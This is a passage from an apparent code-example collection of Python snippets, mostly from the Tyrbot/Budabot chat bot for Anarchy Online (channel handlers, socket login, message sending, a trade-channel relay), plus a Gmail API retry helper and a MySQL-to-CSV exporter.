        self.event_service = registry.get_instance("event_service")
        self.character_service = registry.get_instance("character_service")
        self.setting_service = registry.get_instance("setting_service")
        self.command_service = registry.get_instance("command_service")

    def pre_start(self):
        self.bot.register_packet_handler(server_packets.LoginOK.id,
                                         self.handle_login_ok)
        self.bot.register_packet_handler(server_packets.PublicChannelJoined.id,
                                         self.add)
        self.bot.register_packet_handler(server_packets.PublicChannelLeft.id,
                                         self.remove)
        self.bot.register_packet_handler(
            server_packets.PublicChannelMessage.id,
            self.public_channel_message)

        self.event_service.register_event_type(self.ORG_CHANNEL_COMMAND_EVENT)
        self.event_service.register_event_type(self.ORG_CHANNEL_MESSAGE_EVENT)
        self.event_service.register_event_type(self.ORG_MSG_EVENT)

        self.command_service.register_command_channel("Org Channel",
                                                      self.ORG_CHANNEL_COMMAND)

    def start(self):
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS org_name_cache (org_id INT NOT NULL, name VARCHAR(255) NOT NULL)"
        )

    def handle_login_ok(self, conn: Conn, packet: server_packets.LoginOK):
        if not conn.is_main:
            return

    def add(self, conn: Conn, packet: server_packets.PublicChannelJoined):
        if not conn.is_main:
            return

        conn.channels[packet.channel_id] = packet
        if not conn.org_id and self.is_org_channel_id(packet.channel_id):
            conn.org_channel_id = packet.channel_id
            conn.org_id = 0x00ffffffff & packet.channel_id

            row = self.db.query_single(
                "SELECT name FROM org_name_cache WHERE org_id = ?",
                [conn.org_id])

            if packet.name != "Clan (name unknown)":
                source = "chat_server"
                if not row:
                    self.db.exec(
                        "INSERT INTO org_name_cache (org_id, name) VALUES (?, ?)",
                        [conn.org_id, packet.name])
                elif packet.name != row.name:
                    self.db.exec(
                        "UPDATE org_name_cache SET name = ? WHERE org_id = ?",
                        [packet.name, conn.org_id])
                conn.org_name = packet.name
            elif row:
                source = "cache"
                conn.org_name = row.name
            else:
                source = "none"

            self.logger.info(
                f"Org info for '{conn.id}': {conn.org_name} ({conn.org_id}); source: '{source}'"
            )

    def remove(self, conn: Conn, packet: server_packets.PublicChannelLeft):
        if not conn.is_main:
            return

        del conn.channels[packet.channel_id]

    def public_channel_message(self, conn: Conn,
                               packet: server_packets.PublicChannelMessage):
        if not conn.is_main:
            return

        if conn.org_channel_id == packet.channel_id:
            char_name = self.character_service.get_char_name(packet.char_id)
            if packet.extended_message:
                message = packet.extended_message.get_message()
            else:
                message = packet.message
            self.logger.log_chat(conn, "Org Channel", char_name, message)

            if conn.char_id == packet.char_id:
                return

            if not self.handle_public_channel_command(conn, packet):
                self.event_service.fire_event(
                    self.ORG_CHANNEL_MESSAGE_EVENT,
                    DictObject({
                        "char_id": packet.char_id,
                        "name": char_name,
                        "message": message,
                        "extended_message": packet.extended_message,
                        "conn": conn
                    }))
        elif packet.channel_id == self.ORG_MSG_CHANNEL_ID:
            char_name = self.character_service.get_char_name(packet.char_id)
            if packet.extended_message:
                message = packet.extended_message.get_message()
            else:
                message = packet.message
            self.logger.log_chat(conn, "Org Msg", char_name, message)
            self.event_service.fire_event(
                self.ORG_MSG_EVENT,
                DictObject({
                    "char_id": packet.char_id,
                    "name": char_name,
                    "message": packet.message,
                    "extended_message": packet.extended_message,
                    "conn": conn
                }))

    def handle_public_channel_command(
            self, conn: Conn, packet: server_packets.PublicChannelMessage):
        if not self.setting_service.get("accept_commands_from_slave_bots"
                                        ).get_value() and not conn.is_main:
            return False

        # since the command symbol is required in the org channel,
        # the command_str must have length of at least 2 in order to be valid,
        # otherwise it is ignored
        if len(packet.message) < 2:
            return False

        # ignore leading space
        message = packet.message.lstrip()

        def reply(msg):
            self.bot.send_org_message(msg, conn=conn)
            self.event_service.fire_event(
                self.ORG_CHANNEL_COMMAND_EVENT,
                DictObject({
                    "char_id": None,
                    "name": None,
                    "message": msg,
                    "conn": conn
                }))

        if message.startswith(self.setting_service.get("symbol").get_value()
                              ) and conn.org_channel_id == packet.channel_id:
            char_name = self.character_service.get_char_name(packet.char_id)
            self.event_service.fire_event(
                self.ORG_CHANNEL_COMMAND_EVENT,
                DictObject({
                    "char_id": packet.char_id,
                    "name": char_name,
                    "message": packet.message,
                    "conn": conn
                }))

            self.command_service.process_command(
                self.command_service.trim_command_symbol(message),
                self.ORG_CHANNEL_COMMAND, packet.char_id, reply, conn)
            return True
        else:
            return False

    def is_org_channel_id(self, channel_id):
        return channel_id >> 32 == 3
Esempio n. 31
0
class Tyrbot:
    CONNECT_EVENT = "connect"
    PRIVATE_MSG_EVENT = "private_msg"

    def __init__(self):
        super().__init__()
        self.logger = Logger(__name__)
        self.ready = False
        self.packet_handlers = {}
        self.superadmin = None
        self.status: BotStatus = BotStatus.SHUTDOWN
        self.dimension = None
        self.last_timer_event = 0
        self.start_time = int(time.time())
        self.version = "0.7-beta"
        self.incoming_queue = FifoQueue()
        self.mass_message_queue = None
        self.conns = DictObject()
        self.primary_conn_id = None

    def inject(self, registry):
        self.db = registry.get_instance("db")
        self.character_service: CharacterService = registry.get_instance(
            "character_service")
        self.public_channel_service: PublicChannelService = registry.get_instance(
            "public_channel_service")
        self.text: Text = registry.get_instance("text")
        self.setting_service: SettingService = registry.get_instance(
            "setting_service")
        self.access_service: AccessService = registry.get_instance(
            "access_service")
        self.event_service = registry.get_instance("event_service")
        self.job_scheduler = registry.get_instance("job_scheduler")

    def init(self, config, registry, mmdb_parser):
        self.mmdb_parser = mmdb_parser
        self.superadmin = config.superadmin.capitalize()
        self.dimension = config.server.dimension

        self.db.exec(
            "CREATE TABLE IF NOT EXISTS command_config (command VARCHAR(50) NOT NULL, sub_command VARCHAR(50) NOT NULL, access_level VARCHAR(50) NOT NULL, channel VARCHAR(50) NOT NULL, "
            "module VARCHAR(50) NOT NULL, enabled SMALLINT NOT NULL, verified SMALLINT NOT NULL)"
        )
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS event_config (event_type VARCHAR(50) NOT NULL, event_sub_type VARCHAR(50) NOT NULL, handler VARCHAR(255) NOT NULL, description VARCHAR(255) NOT NULL, "
            "module VARCHAR(50) NOT NULL, enabled SMALLINT NOT NULL, verified SMALLINT NOT NULL, is_hidden SMALLINT NOT NULL)"
        )
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS timer_event (event_type VARCHAR(50) NOT NULL, event_sub_type VARCHAR(50) NOT NULL, handler VARCHAR(255) NOT NULL, next_run INT NOT NULL)"
        )
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS setting (name VARCHAR(50) NOT NULL, value VARCHAR(255) NOT NULL, description VARCHAR(255) NOT NULL, module VARCHAR(50) NOT NULL, verified SMALLINT NOT NULL)"
        )
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS command_alias (alias VARCHAR(50) NOT NULL, command VARCHAR(1024) NOT NULL, enabled SMALLINT NOT NULL)"
        )
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS command_usage (command VARCHAR(255) NOT NULL, handler VARCHAR(255) NOT NULL, char_id INT NOT NULL, channel VARCHAR(20) NOT NULL, created_at INT NOT NULL)"
        )
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS ban_list (char_id INT NOT NULL, sender_char_id INT NOT NULL, created_at INT NOT NULL, finished_at INT NOT NULL, reason VARCHAR(255) NOT NULL, ended_early SMALLINT NOT NULL)"
        )

        self.db.exec("UPDATE db_version SET verified = 0")
        self.db.exec(
            "UPDATE db_version SET verified = 1 WHERE file = 'db_version'")

        # prepare commands, events, and settings
        self.db.exec("UPDATE command_config SET verified = 0")
        self.db.exec("UPDATE event_config SET verified = 0")
        self.db.exec("UPDATE setting SET verified = 0")

        with self.db.transaction():
            registry.pre_start_all()
            registry.start_all()

        # remove commands, events, and settings that are no longer registered
        self.db.exec("DELETE FROM db_version WHERE verified = 0")
        self.db.exec("DELETE FROM command_config WHERE verified = 0")
        self.db.exec("DELETE FROM event_config WHERE verified = 0")
        self.db.exec(
            "DELETE FROM timer_event WHERE handler NOT IN (SELECT handler FROM event_config WHERE event_type = ?)",
            ["timer"])
        self.db.exec("DELETE FROM setting WHERE verified = 0")

        self.status = BotStatus.RUN

    def pre_start(self):
        self.access_service.register_access_level("superadmin", 10,
                                                  self.check_superadmin)
        self.event_service.register_event_type(self.CONNECT_EVENT)
        self.event_service.register_event_type(self.PRIVATE_MSG_EVENT)

    def start(self):
        self.setting_service.register(
            "core.system", "symbol", "!",
            TextSettingType(["!", "#", "*", "@", "$", "+", "-"]),
            "Symbol for executing bot commands")

        self.setting_service.register(
            "core.system", "org_channel_max_page_length", 7500,
            NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]),
            "Maximum size of blobs in org channel")
        self.setting_service.register(
            "core.system", "private_message_max_page_length", 7500,
            NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]),
            "Maximum size of blobs in private messages")
        self.setting_service.register(
            "core.system", "private_channel_max_page_length", 7500,
            NumberSettingType([4500, 6000, 7500, 9000, 10500, 12000]),
            "Maximum size of blobs in private channel")

        self.setting_service.register(
            "core.system", "accept_commands_from_slave_bots", False,
            BooleanSettingType(),
            "Accept and respond to commands sent to slave bots (only applies if you have added slave bots in the config)"
        )

        self.setting_service.register("core.colors", "header_color", "#FFFF00",
                                      ColorSettingType(), "Color for headers")
        self.setting_service.register("core.colors", "header2_color",
                                      "#FCA712", ColorSettingType(),
                                      "Color for sub-headers")
        self.setting_service.register("core.colors", "highlight_color",
                                      "#00BFFF", ColorSettingType(),
                                      "Color for highlight")
        self.setting_service.register("core.colors", "notice_color", "#FF8C00",
                                      ColorSettingType(),
                                      "Color for important notices")

        self.setting_service.register("core.colors", "neutral_color",
                                      "#E6E1A6", ColorSettingType(),
                                      "Color for neutral faction")
        self.setting_service.register("core.colors", "omni_color", "#FA8484",
                                      ColorSettingType(),
                                      "Color for omni faction")
        self.setting_service.register("core.colors", "clan_color", "#F79410",
                                      ColorSettingType(),
                                      "Color for clan faction")
        self.setting_service.register("core.colors", "unknown_color",
                                      "#FF0000", ColorSettingType(),
                                      "Color for unknown faction")

        self.setting_service.register("core.colors", "org_channel_color",
                                      "#89D2E8", ColorSettingType(),
                                      "Default org channel color")
        self.setting_service.register("core.colors", "private_channel_color",
                                      "#89D2E8", ColorSettingType(),
                                      "Default private channel color")
        self.setting_service.register("core.colors", "private_message_color",
                                      "#89D2E8", ColorSettingType(),
                                      "Default private message color")
        self.setting_service.register("core.colors", "blob_color", "#FFFFFF",
                                      ColorSettingType(),
                                      "Default blob content color")

        self.register_packet_handler(server_packets.PrivateMessage.id,
                                     self.handle_private_message,
                                     priority=40)

    def check_superadmin(self, char_id):
        char_name = self.character_service.resolve_char_to_name(char_id)
        return char_name == self.superadmin

    def connect(self, config):
        for i, bot in enumerate(config.bots):
            if "id" in bot:
                _id = bot.id
            else:
                _id = "bot" + str(i)

            if i == 0:
                self.primary_conn_id = _id

            conn = self.create_conn(_id)
            conn.connect(config.server.host, config.server.port)

            # only create the mass_message_queue if there is at least 1 non-main bot
            if not bot.is_main and not self.mass_message_queue:
                self.mass_message_queue = FifoQueue()

            packet = conn.login(bot.username,
                                bot.password,
                                bot.character,
                                is_main=bot.is_main)
            if not packet:
                self.status = BotStatus.ERROR
                return False
            else:
                self.incoming_queue.put((conn, packet))

            self.create_conn_thread(
                conn, None if bot.is_main else self.mass_message_queue)

        return True

    def create_conn_thread(self, conn: Conn, mass_message_queue=None):
        def read_packets():
            try:
                while self.status == BotStatus.RUN:
                    packet = conn.read_packet(1)
                    if packet:
                        self.incoming_queue.put((conn, packet))

                    while mass_message_queue and not mass_message_queue.empty(
                    ) and conn.packet_queue.is_empty():
                        packet = mass_message_queue.get_or_default(block=False)
                        if packet:
                            conn.add_packet_to_queue(packet)

            except (EOFError, OSError) as e:
                self.status = BotStatus.ERROR
                self.logger.error("", e)
                raise e

        dthread = threading.Thread(target=read_packets, daemon=True)
        dthread.start()

    def create_conn(self, _id):
        if _id in self.conns:
            raise Exception(f"A connection with id {_id} already exists")

        def failure_callback():
            self.status = BotStatus.ERROR

        conn = Conn(_id, failure_callback)
        self.conns[_id] = conn
        return conn

    def disconnect(self):
        # wait for all threads to stop reading packets, then disconnect them all
        time.sleep(2)
        for _id, conn in self.get_conns():
            conn.disconnect()

    def run(self):
        start = time.time()

        # wait for flood of packets from login to stop sending
        time_waited = 0
        while time_waited < 2:
            if not self.iterate(1):
                time_waited += 1

        self.logger.info("Login complete (%fs)" % (time.time() - start))

        start = time.time()
        self.event_service.fire_event("connect", None)
        self.event_service.run_timer_events_at_startup()
        self.event_service.check_for_timer_events(int(start))
        self.logger.info("Connect events finished (%fs)" %
                         (time.time() - start))

        time_waited = 0
        while time_waited < 2:
            if not self.iterate(1):
                time_waited += 1

        self.ready = True
        timestamp = int(time.time())

        while self.status == BotStatus.RUN:
            try:
                timestamp = int(time.time())
                self.check_for_timer_events(timestamp)

                self.iterate()
            except Exception as e:
                self.logger.error("", e)

        # run any pending jobs/events
        self.check_for_timer_events(timestamp + 1)

        return self.status

    def check_for_timer_events(self, timestamp):
        # timer events will execute no more often than once per second
        if self.last_timer_event < timestamp:
            self.last_timer_event = timestamp
            self.job_scheduler.check_for_scheduled_jobs(timestamp)
            self.event_service.check_for_timer_events(timestamp)

    def register_packet_handler(self, packet_id: int, handler, priority=50):
        """
        Call during pre_start

        Args:
            packet_id: int
            handler: (conn, packet) -> void
            priority: int
        """

        if len(inspect.signature(handler).parameters) != 2:
            raise Exception(
                "Incorrect number of arguments for handler '%s.%s()'" %
                (handler.__module__, handler.__name__))

        handlers = self.packet_handlers.get(packet_id, [])
        handlers.append(DictObject({"priority": priority, "handler": handler}))
        self.packet_handlers[packet_id] = sorted(handlers,
                                                 key=lambda x: x.priority)

    def remove_packet_handler(self, packet_id, handler):
        handlers = self.packet_handlers.get(packet_id, [])
        for h in handlers:
            if h.handler == handler:
                handlers.remove(h)

    def iterate(self, timeout=0.1):
        conn, packet = self.incoming_queue.get_or_default(block=True,
                                                          timeout=timeout,
                                                          default=(None, None))
        if packet:
            if isinstance(packet, server_packets.SystemMessage):
                packet = self.system_message_ext_msg_handling(packet)
                self.logger.log_chat(conn, "SystemMessage", None,
                                     packet.extended_message.get_message())
            elif isinstance(packet, server_packets.PublicChannelMessage):
                packet = self.public_channel_message_ext_msg_handling(packet)
            elif isinstance(packet,
                            server_packets.BuddyAdded) and packet.char_id == 0:
                return

            for handler in self.packet_handlers.get(packet.id, []):
                handler.handler(conn, packet)

        return packet

    def public_channel_message_ext_msg_handling(
            self, packet: server_packets.PublicChannelMessage):
        msg = packet.message
        if msg.startswith("~&") and msg.endswith("~"):
            try:
                msg = msg[2:-1].encode("utf-8")
                category_id = self.mmdb_parser.read_base_85(msg[0:5])
                instance_id = self.mmdb_parser.read_base_85(msg[5:10])
                template = self.mmdb_parser.get_message_string(
                    category_id, instance_id)
                params = self.mmdb_parser.parse_params(msg[10:])
                packet.extended_message = ExtendedMessage(
                    category_id, instance_id, template, params)
            except Exception as e:
                self.logger.error(
                    "Error handling extended message for packet: " +
                    str(packet), e)

        return packet

    def system_message_ext_msg_handling(self,
                                        packet: server_packets.SystemMessage):
        try:
            category_id = 20000
            instance_id = packet.message_id
            template = self.mmdb_parser.get_message_string(
                category_id, instance_id)
            params = self.mmdb_parser.parse_params(packet.message_args)
            packet.extended_message = ExtendedMessage(category_id, instance_id,
                                                      template, params)
        except Exception as e:
            self.logger.error(
                "Error handling extended message: " + str(packet), e)

        return packet

    def send_org_message(self, msg, add_color=True, conn=None):
        if not conn:
            conn = self.get_primary_conn()

        if not conn.org_channel_id:
            self.logger.debug(
                f"Ignoring message to org channel for {conn.id} since the org_channel_id is unknown"
            )
        else:
            color = self.setting_service.get(
                "org_channel_color").get_font_color() if add_color else ""
            pages = self.get_text_pages(
                msg, conn,
                self.setting_service.get(
                    "org_channel_max_page_length").get_value())
            for page in pages:
                packet = client_packets.PublicChannelMessage(
                    conn.org_channel_id, color + page, "")
                conn.add_packet_to_queue(packet)

    def send_private_message(self, char_id, msg, add_color=True, conn=None):
        if not conn:
            conn = self.get_primary_conn()

        if char_id is None:
            raise Exception("Cannot send message, char_id is empty")
        else:
            color = self.setting_service.get(
                "private_message_color").get_font_color() if add_color else ""
            pages = self.get_text_pages(
                msg, conn,
                self.setting_service.get(
                    "private_message_max_page_length").get_value())
            for page in pages:
                self.logger.log_tell(
                    conn, "To", self.character_service.get_char_name(char_id),
                    page)
                packet = client_packets.PrivateMessage(char_id, color + page,
                                                       "\0")
                conn.add_packet_to_queue(packet)

    def send_private_channel_message(self,
                                     msg,
                                     private_channel_id=None,
                                     add_color=True,
                                     conn=None):
        if not conn:
            conn = self.get_primary_conn()

        if private_channel_id is None:
            private_channel_id = conn.get_char_id()

        color = self.setting_service.get(
            "private_channel_color").get_font_color() if add_color else ""
        pages = self.get_text_pages(
            msg, conn,
            self.setting_service.get(
                "private_channel_max_page_length").get_value())
        for page in pages:
            packet = client_packets.PrivateChannelMessage(
                private_channel_id, color + page, "\0")
            conn.send_packet(packet)

    def send_mass_message(self, char_id, msg, add_color=True, conn=None):
        if not conn:
            conn = self.get_primary_conn()

        if not char_id:
            self.logger.warning("Could not send message to empty char_id")
        else:
            color = self.setting_service.get(
                "private_message_color").get_font_color() if add_color else ""
            pages = self.get_text_pages(
                msg, conn,
                self.setting_service.get(
                    "private_message_max_page_length").get_value())
            for page in pages:
                if self.mass_message_queue:
                    packet = client_packets.PrivateMessage(
                        char_id, color + page, "\0")
                    self.mass_message_queue.put(packet)
                else:
                    packet = client_packets.PrivateMessage(
                        char_id, color + page, "spam")
                    self.get_primary_conn().send_packet(packet)

    def send_message_to_other_org_channels(self, msg, from_conn: Conn):
        for _id, conn in self.get_conns(
                lambda x: x.is_main and x.org_id and x != from_conn):
            self.send_org_message(msg, conn=conn)

    def handle_private_message(self, conn: Conn,
                               packet: server_packets.PrivateMessage):
        char_name = self.character_service.get_char_name(packet.char_id)
        self.logger.log_tell(conn, "From", char_name, packet.message)
        self.event_service.fire_event(
            self.PRIVATE_MSG_EVENT,
            DictObject({
                "char_id": packet.char_id,
                "name": char_name,
                "message": packet.message,
                "conn": conn
            }))

    def get_text_pages(self, msg, conn, max_page_length):
        if isinstance(msg, ChatBlob):
            return self.text.paginate(msg,
                                      conn,
                                      max_page_length=max_page_length)
        else:
            return [self.text.format_message(msg, conn)]

    def is_ready(self):
        return self.ready

    def shutdown(self):
        self.status = BotStatus.SHUTDOWN

    def restart(self):
        self.status = BotStatus.RESTART

    def get_primary_conn_id(self):
        return self.primary_conn_id

    def get_primary_conn(self):
        return self.conns[self.get_primary_conn_id()]

    def get_conn_by_char_id(self, char_id):
        for _id, conn in self.get_conns():
            if char_id == conn.get_char_id():
                return conn
        return None

    def get_conn_by_org_id(self, org_id):
        for _id, conn in self.get_conns():
            if conn.org_id == org_id:
                return conn
        return None

    # placeholder to keep track of things that need to be fixed/updated
    def get_temp_conn(self):
        return self.get_primary_conn()

    def get_conns(self, conn_filter=None):
        if conn_filter:
            return [(_id, conn) for _id, conn in self.conns.items()
                    if conn_filter(conn)]
        else:
            return self.conns.items()
Esempio n. 32
0
        def do_request(**kwargs):

            """
            Realiza una petición a un recurso de Gmail API.
            :param kwargs: Parámetros de la petición.
            :type kwargs: dict.
            :return: Respuesta de Gmail API.
            """

            """
            Puede que ocurra un error de rateLimitExceeded o userRateLimitExceeded.
            En ese caso la documentación oficial recomienda implementar un exponential backoff
            https://developers.google.com/gmail/api/guides/migrate-from-emapi
            https://developers.google.com/drive/v2/web/handle-errors
            https://github.com/google/google-api-python-client/blob/master/googleapiclient/http.py#L65
            """

            from core.logger import Logger

            if "userId" not in kwargs:
                kwargs["userId"] = "me"

            Logger.info("Executing request...")
            # Reintentamos 3 veces.
            for n in range(0, 3):
                try:
                    Logger.info("Try #{}".format(n + 1))
                    response = method(**kwargs).execute(num_retries=3)
                    return response
                except errors.HttpError, e:
                    Logger.info(e)
                    Logger.info("Execution failed...")
                    Logger.info("Status: {}".format(e.resp.status))
                    Logger.info("Reason: {}".format(e.resp.reason))
                    if e.resp.status in [403, 429, 503] or \
                            e.resp.reason in ["rateLimitExceeded", "userRateLimitExceeded"]:
                        Logger.warning("Error {}. Retrying".format(e.resp.status))
                        time.sleep((2 ** n) + random.randint(0, 1000) / 1000)
                    else:
                        Logger.error("Unknown error: {}".format(e))
                        raise e
Esempio n. 33
0
class Bot:
    def __init__(self):
        self.socket = None
        self.char_id = None
        self.char_name = None
        self.logger = Logger(__name__)

    def connect(self, host, port):
        self.logger.info("Connecting to '%s:%d'" % (host, port))
        self.socket = socket.create_connection((host, port), 10)

    def disconnect(self):
        if self.socket:
            self.socket.shutdown(socket.SHUT_RDWR)
            self.socket.close()
            self.socket = None

    def login(self, username, password, character):
        character = character.capitalize()

        # read seed packet
        self.logger.info("Logging in as '%s'" % character)
        seed_packet = self.read_packet(10)
        seed = seed_packet.seed

        # send back challenge
        key = generate_login_key(seed, username, password)
        login_request_packet = LoginRequest(0, username, key)
        self.send_packet(login_request_packet)

        # read character list
        character_list_packet: LoginCharacterList = self.read_packet()
        if isinstance(character_list_packet, LoginError):
            self.logger.error("Error logging in: %s" %
                              character_list_packet.message)
            return False
        if character not in character_list_packet.names:
            self.logger.error("Character '%s' does not exist on this account" %
                              character)
            return False
        index = character_list_packet.names.index(character)

        # select character
        self.char_id = character_list_packet.char_ids[index]
        self.char_name = character_list_packet.names[index]
        if character_list_packet.online_statuses[index]:
            sleep_duration = 20
            self.logger.warning(
                "Character '%s' is already logged on, waiting %ds before proceeding"
                % (self.char_name, sleep_duration))
            time.sleep(sleep_duration)
        login_select_packet = LoginSelect(self.char_id)
        self.send_packet(login_select_packet)

        # wait for OK
        packet = self.read_packet()
        if packet.id == LoginOK.id:
            self.logger.info("Connected!")
            return packet
        else:
            self.logger.error("Error logging in: %s" % packet.message)
            return False

    def read_packet(self, max_delay_time=1):
        """
        Wait for packet from server.
        """

        read, write, error = select.select([self.socket], [], [],
                                           max_delay_time)
        if not read:
            return None
        else:
            # Read data from server
            head = self.read_bytes(4)
            packet_type, packet_length = struct.unpack(">2H", head)
            data = self.read_bytes(packet_length)

            try:
                return ServerPacket.get_instance(packet_type, data)
            except Exception as e:
                self.logger.error(
                    "Error parsing packet parameters for packet_type '%d' and payload: %s"
                    % (packet_type, data), e)
                return None

    def send_packet(self, packet):
        data = packet.to_bytes()
        data = struct.pack(">2H", packet.id, len(data)) + data

        self.write_bytes(data)

    def read_bytes(self, num_bytes):
        data = bytes()

        while num_bytes > 0:
            chunk = self.socket.recv(num_bytes)

            if len(chunk) == 0:
                raise EOFError

            num_bytes -= len(chunk)
            data = data + chunk

        return data

    def write_bytes(self, data):
        num_bytes = len(data)

        while num_bytes > 0:
            sent = self.socket.send(data)

            if sent == 0:
                raise EOFError

            data = data[sent:]
            num_bytes -= sent
Esempio n. 34
0
class OakleyDbExporter(object):
    def __init__(self, connection_pool):
        self.logger = Logger(self.__class__.__name__).get()
        self.connection_pool = connection_pool

    def export_database(self, export_path):
        self.logger.info(
            "Exporting whole database to export path [{}]".format(export_path))

        query = "SHOW TABLES"
        cnx = self.connection_pool.get_connection()
        cursor = cnx.cursor()

        cursor.execute(query)

        tables = []
        for (table) in cursor:
            tables.append(table[0])

        self.logger.info("Exporting [{}] tables".format(len(tables)))
        cursor.close()
        self.connection_pool.release_connection(cnx)

        for table_name in tables:
            self.export_table(table_name, export_path)

    def export_table(self, table_name, export_path):
        self.logger.info("Exporting table [{}] to export path [{}]".format(
            table_name, export_path))
        query = "SELECT * FROM {}".format(table_name)

        cnx = self.connection_pool.get_connection()
        cursor = cnx.cursor()

        cursor.execute(query)

        file_name = os.path.join(export_path, '{}.csv'.format(table_name))

        self.logger.info("Export filename is [{}]".format(file_name))

        with open(file_name, 'wb') as my_file:
            wr = UnicodeWriter(my_file)
            wr.writerow(cursor.column_names)
            wr.writerow(OakleyDbExporter.get_column_types(cursor.description))

            for item in cursor:
                item_list = list(item)
                for count in range(0, len(item_list)):
                    if item_list[count] is None:
                        item_list[count] = 'NULL'

                wr.writerow(item_list)

        cursor.close()
        self.connection_pool.release_connection(cnx)

        self.logger.info("Completed exporting table [{}]".format(table_name))

    @staticmethod
    def get_column_types(column_desc):
        types = []
        for column in column_desc:
            types.append(field_type[column[1]])

        return types
Esempio n. 35
0
class DarkController:
    relay_channel_id = None
    relay_name = None
    MESSAGE_SOURCE = "darknet"
    message_regex = re.compile(r"^(<font color='#\S+'>){2}\[([a-zA-Z]{2,})\]<\/font> <font color='#\S+'>(.+)<\/font> <font color='#\S+'>\[(.+)\]<\/font> \[(.+)\]$", re.DOTALL)

    def __init__(self):
        self.logger = Logger(__name__)

    def inject(self, registry):
        self.bot: Tyrbot = registry.get_instance("bot")
        self.setting_service: SettingService = registry.get_instance("setting_service")
        self.character_service: CharacterService = registry.get_instance("character_service")
        self.message_hub_service = registry.get_instance("message_hub_service")

    def pre_start(self):
        self.bot.register_packet_handler(server_packets.PrivateChannelInvited.id, self.handle_private_channel_invite, 50)
        self.bot.register_packet_handler(server_packets.PrivateChannelMessage.id, self.handle_private_channel_message)
        self.message_hub_service.register_message_source(self.MESSAGE_SOURCE)

    def start(self):
        self.setting_service.register(self.module_name, "dark_relay", "false", BooleanSettingType(), "Is the Module Enabled?")
        self.setting_service.register(self.module_name, "dark_wts", "true", BooleanSettingType(), "Is the WTS channel visible?")
        self.setting_service.register(self.module_name, "dark_wtb", "true", BooleanSettingType(), "Is the WTB channel visible?")
        self.setting_service.register(self.module_name, "dark_lr", "true", BooleanSettingType(), "Is the Lootrights channel visible?")
        self.setting_service.register(self.module_name, "dark_gen", "true", BooleanSettingType(), "Is the General channel visible?")
        self.setting_service.register(self.module_name, "dark_pvp", "true", BooleanSettingType(), "Is the PvP channel visible?")
        self.setting_service.register(self.module_name, "dark_pvm", "true", BooleanSettingType(), "Is the PVM channel visible?")
        self.setting_service.register(self.module_name, "dark_event", "true", BooleanSettingType(), "Is the Event channel visible?")

    def handle_private_channel_invite(self, conn: Conn, packet: server_packets.PrivateChannelInvited):
        if not conn.is_main:
            pass

        if self.setting_service.get_value("dark_relay") == "0":
            return

        if "Darknet" == self.character_service.get_char_name(packet.private_channel_id):
            channel_name = self.character_service.get_char_name(packet.private_channel_id)
            conn.send_packet(client_packets.PrivateChannelJoin(packet.private_channel_id))
            self.logger.info("Joined private channel {channel}".format(channel=channel_name))
            self.relay_channel_id = packet.private_channel_id
            self.relay_name = channel_name

    def handle_private_channel_message(self, conn, packet: server_packets.PrivateChannelMessage):
        if not conn.is_main:
            pass

        if self.setting_service.get_value("dark_relay") == "0":
            return

        if packet.private_channel_id == self.relay_channel_id:
            if conn.get_char_id() == packet.char_id:
                return
            if packet.char_id != self.relay_channel_id:
                return
            channel_name = self.character_service.get_char_name(packet.private_channel_id)
            char_name = self.character_service.get_char_name(packet.char_id)
            self.logger.log_chat(conn, "Private Channel(%s)" % channel_name, char_name, packet.message)
            message = packet.message.lstrip()
            self.process_incoming_relay_message(message)

    def process_incoming_relay_message(self, message):
        if re.search(self.message_regex, message):
            cont = re.findall(self.message_regex, message)
            cont = cont[0]
            ch = cont[1].lower()
            msg = cont[2]
            tell = cont[3]
            report = cont[4]
            if ch == "wts":
                if self.setting_service.get_value("dark_wts") == "0":
                    return
                channel = "<red>[WTS]</red>"
            elif ch == "wtb":
                if self.setting_service.get_value("dark_wtb") == "0":
                    return
                channel = "<green>[WTB]</green>"
            elif ch == "lootrights":
                if self.setting_service.get_value("dark_lr") == "0":
                    return
                channel = "<violet>[LR]</violet>"
            elif ch == "general":
                if self.setting_service.get_value("dark_gen") == "0":
                    return
                channel = "<notice>[Gen]</notice>"
            elif ch == "pvm":
                if self.setting_service.get_value("dark_pvm") == "0":
                    return
                channel = "<cyan>[PvM]</cyan>"
            elif ch == "event":
                if self.setting_service.get_value("dark_event") == "0":
                    return
                channel = "<highlight>[Event]</highlight>"
            elif ch == "pvp":
                if self.setting_service.get_value("dark_pvp") == "0":
                    return
                channel = "<grey>[PvP]</grey>"
            elif ch == "auction":
                channel = "<yellow>[AUCTION]</yellow>"
            else:
                return

            message = "<orange>%s<end> [%s] [%s]" % (msg, tell, report)
            self.message_hub_service.send_message(self.MESSAGE_SOURCE, None, channel, message)
Esempio n. 36
0
class Bot:
    def __init__(self):
        self.socket = None
        self.char_id = None
        self.char_name = None
        self.logger = Logger("Budabot")

    def connect(self, host, port):
        self.logger.info("Connecting to %s:%d" % (host, port))
        self.socket = socket.create_connection((host, port), 10)

    def disconnect(self):
        if self.socket:
            self.socket.shutdown(socket.SHUT_RDWR)
            self.socket.close()
            self.socket = None

    def login(self, username, password, character):
        character = character.capitalize()

        # read seed packet
        self.logger.info(("Logging in as %s" % character))
        seed_packet = self.read_packet()
        seed = seed_packet.seed

        # send back challenge
        key = generate_login_key(seed, username, password)
        login_request_packet = LoginRequest(0, username, key)
        self.send_packet(login_request_packet)

        # read character list
        character_list_packet = self.read_packet()
        index = character_list_packet.names.index(character)

        # select character
        self.char_id = character_list_packet.character_ids[index]
        self.char_name = character_list_packet.names[index]
        login_select_packet = LoginSelect(self.char_id)
        self.send_packet(login_select_packet)

        # wait for OK
        packet = self.read_packet()
        if packet.id == LoginOK.id:
            self.logger.info("Connected!")
            return True
        else:
            self.logger.error("Error logging in: %s" % packet.message)
            return False

    def read_packet(self, time=1):
        """
        Wait for packet from server.
        """

        read, write, error = select.select([self.socket], [], [], time)
        if not read:
            return None
        else:
            # Read data from server
            head = self.read_bytes(4)
            packet_type, packet_length = struct.unpack(">2H", head)
            data = self.read_bytes(packet_length)

            packet = ServerPacket.get_instance(packet_type, data)
            return packet

    def send_packet(self, packet):
        data = packet.to_bytes()
        data = struct.pack(">2H", packet.id, len(data)) + data

        self.write_bytes(data)

